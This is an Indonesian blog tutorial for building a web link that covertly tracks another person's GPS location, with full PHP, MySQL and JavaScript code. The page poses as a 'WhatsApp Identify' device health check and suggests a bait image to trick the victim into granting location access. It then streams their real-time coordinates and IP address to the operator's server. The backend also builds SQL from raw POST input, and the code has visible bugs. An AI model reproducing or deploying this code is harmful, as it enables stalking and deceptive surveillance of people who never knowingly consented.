close(x)

Membuat Tracking Lokasi GPS Orang Lain Menggunakan PHP, MYSQL, dan Javascript

melacak lokasi nomor hp,tracking, gps,melacak nomor telepon

{getToc} $title={Daftar Isi}

Membuat Tracking Lokasi GPS Orang Lain Menggunakan PHP, MYSQL, dan Javascript

Tracking Lokasi GPS akhir - akhir ini banyak diperlukan baik untuk keperluan bisnis ataupun untuk keperluan pribadi. Bahkan cara melacak orang dengan nomor HP banyak dicari di search engine Google baik menggunakan Google Maps ataupun software lainnya meskipun itu tidak mudah dan perlu menggunakan bahasa pemrograman tingkat advance seperti Python.

Cara Melacak GPS Orang?

Sementara cara melacak GPS itu bisa melalui WhatsApp share lokasi atau mengirimkan link tracking yang sudah dibuat menggunakan bahasa pemrograman tertentu.

Tracking GPS sendiri tidak akan berjalan selama tidak memberikan akses pada Aplikasi atau link yang diberikan orang lain yang tidak dikenal.

Untuk membuat aplikasi tracking ini Anda perlu membuat sebuah website yang mendukung database, dan php untuk menampung data GPS. 

Source Code Tracking Lokasi Pakai PHP, MySQL, dan Javascipt

Untuk source code sendiri banyak kita dapatkan dari berbabagi sumber dan kali ini saya akan berbagai untuk temen - temen semua bagaimana membuat script tracking simpel dan mudah dipahami berdasarkan kasus yang pernah saya kerjakan seperti berikut:

Database Tracking Lokasi Mysql

Buat database terlebih dahulu pada CPanel Anda menggunakan MySQL dengan schema table sebagai berikut:

--
-- Table structure for table `tracking`
--

CREATE TABLE `tracking` (
  `id` int(11) NOT NULL,
  `ip_address` varchar(100) NOT NULL,
  `maps` varchar(250) NOT NULL,
  `earth` varchar(250) NOT NULL,
  `created_at` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

Backend Tracking Lokasi PHP 7.0+

Buatlah file dengan posting.php pada tempat hosting yang sudah Anda buat dan copy script berikut:

<?php
/*
* copyright mampirklik.com
* youtube GatotID
*/
$conn=@mysqli_connect("localhost","user","password","db");
if(!$conn){
    die("Error koneksi");
}

$ip_address = $_POST["ip_address"];
$latlng = $_POST['latlng'];

$maps = "https://maps.google.com/maps?q=".$latlng."&ll=".$latlng."&z=20";
$earth = "https://earth.google.com/web/@".$latlng;

$sql = "INSERT INTO target(ip_address,maps,earth,created_at)
VALUE('".$ip_address."','".$maps."','".$earth."','".date('Y-m-d H:i:s')."')";
if(!mysqli_query($conn,$sql)){
    die("error insert");
}
mysqli_close($conn);
?>

Frontend Tracking HTML dan Javascript

Untuk frontend ini bisa Anda custome atau memberi gambar lucu agar bisa diklik untuk mendapatkan lokasi yang diinginkan. Buat file dengan nama index.php kemudian copy script berikut:

<?php
header("location:https://seeable-sequences.000webhostapp.com/admingue/index.php");

function get_ip() {
    $clientIP = '0.0.0.0';
   
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $clientIP = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        # when behind cloudflare
        $clientIP = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $clientIP = $_SERVER['HTTP_X_FORWARDED'];
    } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $clientIP = $_SERVER['HTTP_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $clientIP = $_SERVER['HTTP_FORWARDED'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $clientIP = $_SERVER['REMOTE_ADDR'];
    }
   
    return $clientIP;
}
?>
<html>
<head>
    <title>WhatsApp Identify</title>
    <script>
        async function kirimData(ip_address,latlng){
              const formData = new FormData();
              formData.append("ip_address",ip_address);
              formData.append("latlng", latlng);
             
              const response = await fetch("https://namahosting/posting.php", {
                method: "POST",
                body: formData,
              });
              console.log(await response.json());
        }
       
        const options = {
          enableHighAccuracy: true,
          timeout: 5000,
          maximumAge: 0,
        };
       
        function success(pos) {
          const crd = pos.coords;
       
          console.log("Your current position is:");
          console.log(`Latitude : ${crd.latitude}`);
          console.log(`Longitude: ${crd.longitude}`);
          console.log(`More or less ${crd.accuracy} meters.`);
         
          kirimData('<?=get_ip()?>',`${crd.latitude},${crd.longitude}`);
         
           let text = document.querySelector('.success');
           tex.style.display = "block";
           text.textContent = "Your Device is in Healthy Condition";
        }
       
        function error(err) {
            if (err.code == err.PERMISSION_DENIED){
               let text = document.querySelector('.denied');
               tex.style.display = "block";
               text.textContent = "Please Enable Location Browser Check
Healthy Your Device!!";
            }else{
              console.log(err.message);
            }
        }
        if (navigator.geolocation) {
          navigator.geolocation.watchPosition(success, error, options); //Realtime
        } else {
            let text = document.querySelector('.denied');
            tex.style.display = "block";
            text.textContent = "Browser Not Supported Location,
Please Install Google Chrome!!";
        }
    </script>
</head>
<body>
    <div class="denied" style="border:1px solid red;padding:20px
20px;text-align:center;margin-top:20px;display:none;"></div>
    <div class="success" style="border:1px solid success;
padding:20px 20px;text-align:center;margin-top:20px;display:none;"></div>
</body>
</html>

Demo link tracking lokasi nomor telepon menggunakan PHP, Javascript, MySQL cek di link berikut https://cmsgue.id/get-latlong

Untuk membuat atau mendapatkan freehosting sobat bisa baca artikel sebelumnya cara membuat website di free hosting 00webhosting.com. Untuk lebih jelasnya bisa ditonton pada video berikut:

Jangan lupa share ke social media kalian agar bermanfaat dan berguna untuk semuanya.

FAQ: Membuat Tracking Lokasi GPS Orang Lain Menggunakan PHP, MYSQL, dan Javascript

Apa itu tracking lokasi GPS dengan PHP, MySQL, dan JavaScript?

Tracking lokasi GPS adalah proses mendapatkan koordinat geografis seseorang dan menampilkannya secara real-time menggunakan kombinasi PHP untuk backend, MySQL sebagai database, dan JavaScript untuk mendapatkan data lokasi dari perangkat pengguna.

Apa saja komponen utama untuk membuat sistem pelacak GPS ini?

Komponen utamanya adalah: PHP (backend), MySQL (penyimpanan data), JavaScript (pengambilan data lokasi), dan Geolocation API dari HTML5.

Apakah sistem ini bisa menampilkan lokasi orang lain secara langsung di peta?

Bisa, menggunakan Leaflet.js atau Google Maps API untuk menampilkan posisi secara real-time di peta interaktif.

Apakah sistem tracking GPS ini legal?

Tidak legal tanpa izin. Sistem ini hanya boleh digunakan untuk keperluan sah seperti tracking anak, karyawan dengan persetujuan, atau penggunaan pribadi.

Bagaimana cara memperbarui lokasi secara berkala?

Gunakan navigator.geolocation.watchPosition() untuk memantau lokasi, lalu kirim data ke server secara berkala menggunakan AJAX atau Fetch API.

Bagaimana menyimpan data lokasi ke database MySQL?

Gunakan endpoint PHP untuk menerima data dari JavaScript dan simpan ke database dengan query SQL seperti:

INSERT INTO lokasi_user (user_id, latitude, longitude, waktu) VALUES (1, '-6.123456', '106.654321', NOW());{codeBox}

Bisakah sistem ini digunakan tanpa koneksi internet?

Hanya sebagian. Geolocation API dapat mengambil lokasi secara lokal, namun penyimpanan dan peta tetap butuh koneksi internet.

Apakah data lokasi bisa ditampilkan secara real-time?

Bisa, dengan AJAX polling atau WebSocket untuk mengupdate lokasi pengguna langsung di peta tanpa reload.

Apakah sistem ini bisa berjalan di smartphone?

Bisa, karena browser mobile modern sudah mendukung Geolocation API. Pastikan pengguna memberikan izin lokasi.

Apakah ada template atau demo sistem ini?

Ada. Silakan baca lengkapnya di artikel berikut: Membuat Tracking Lokasi GPS Orang Lain

Previous Post Next Post

نموذج الاتصال